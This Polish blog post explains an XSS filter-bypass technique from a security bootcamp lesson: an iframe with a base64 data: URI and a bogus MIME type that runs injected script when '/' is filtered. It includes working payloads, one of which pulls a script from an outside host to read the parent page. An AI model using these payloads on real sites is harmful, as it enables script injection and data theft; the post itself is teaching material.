Nadrabiający zaległości w przykładach z bootcamp Krzysiek Kotowicz zaproponował bardzo ciekawe rozwiązanie zadania polegającego na wstawieniu skryptu z zewnętrznej strony, a właściwie interesujący jego wariant.
Wykorzystanie data: do wstawienia skryptu
Na czym polega pomysł
Cała trudność tego zadania wynika z faktu, że aplikacja specjalnie traktuje znak /, przez co nie można wstawić skryptu w sposób tradycyjny przez konstrukcję typu:
<script src="adres-do-url"></script>
Nie można, bo konieczne jest zamknięcie tagu, a jest to dość trudne, jeśli znak / jest przez aplikację w jakiś sposób pomijany. Oczywiście można rozważać tu przypadki szczególne, gdy w dalszej części strony znajduje się inny tag zamykający, wówczas przeglądarka może go "dopasować" do wstawionego tagu otwierającego i całość może zadziałać.
Pomysł, który wysunął Krzysiek opiera się na wykorzystaniu URI data. Od razu na wstępie trzeba zaznaczyć, że nie jest on obsługiwany przez wszystkie przeglądarki. Na przykład IE 8 obsługuje go tylko w niektórych kontekstach, co akurat może nie jest takim złym pomysłem. Drugim ciekawym elementem pomysłu było wykorzystanie tagu IFRAME a nie SCRIPT. Choć IFRAME również powinien być zamknięty, przeglądarki traktują go nieco mniej restrykcyjnie, niż SCRIPT. W rezultacie może zadziałać konstrukcja:
<iframe src="data:anything;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
Można to zweryfikować w tym przykładzie: http://bootcamp.threats.pl/lesson09/, oczywiście korzystając z odpowiedniej przeglądarki.
W normalnym przypadku strona wstawiona przez IFRAME może mieć ograniczoną możliwość interakcji z pozostałymi elementami dokumentu, a to z uwagi na same origin policy, ale URI data: jest traktowany w sposób specjalny, patrz Origin inheritance rules.
Przykład dla lepszego zrozumienia
Może dla lepszego wyjaśnienia krótki przykład. Umieściłem dwa pliki pod adresami:
- //static.mroczna-zaloga.org/pdw.html
- //static.mroczna-zaloga.org/pdw.js
Zawartość tych plików jest nader prymitywna:
pdw.html: <script src="pwd.js"></script> pdw:js: alert(window.parent.document.title);
Wykorzystując wspomniany wcześniej przykład http://bootcamp.threats.pl/lesson09/ można sprawdzić zachowanie dla następującej wartości:
<iframe src="//static.mroczna-zaloga.org/pdw.html"></iframe>
Rezultat w Firefox wygląda następująco:

Zgodnie z oczekiwaniami zadziałało same origin policy i skrypt z IFRAME nie uzyskał dostępu do "zewnętrznego" dokumentu.
Nieco inaczej wygląda sytuacja, gdy fragment:
<script src="//static.mroczna-zaloga.org/pwd.js"></script>
zostanie wstawiony za pomocą data, czyli w następujący sposób:
<iframe src="data:anything;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9zdGF0aWMueGJvdy5wbC9wZHcuanMiPjwvc2NyaXB0Pg=="></iframe>
Tym razem akcja kończy się powodzeniem:

Jak widać w tym przypadku zewnętrzny skrypt wstawiony przez IFRAME uzyskał dostęp do dokumentu "głównego", a wynika to ze sposobu traktowania URI data. Może ograniczenie data: w IE8 tylko do niektórych kontekstów nie jest złym pomysłem?
Ale najciekawsze jest to:
http://en.wikipedia.org/wiki/Data_URI_scheme#Format
w URI scheme data: parametr MIME jest opcjonalny (default to text/plain). Jeśli pominę typ MIME, przeglądarka (testowane tylko na FF 3.0) potraktuje zawartość jako plain text, po prostu wyświetlając "(...)" w ramce.
Natomiast jeśli wpiszę niestniejący typ mime (bez znaku "/", bo tego wymagało zadanie), np "anything" - to już jest HTML i skrypt zostanie wykonany. Bug?
base64 encodowany był ciąg: "[script]alert(1)[/script]"
a przeglądarka przy braku MIME wyświetlała właśnie ten ciąg.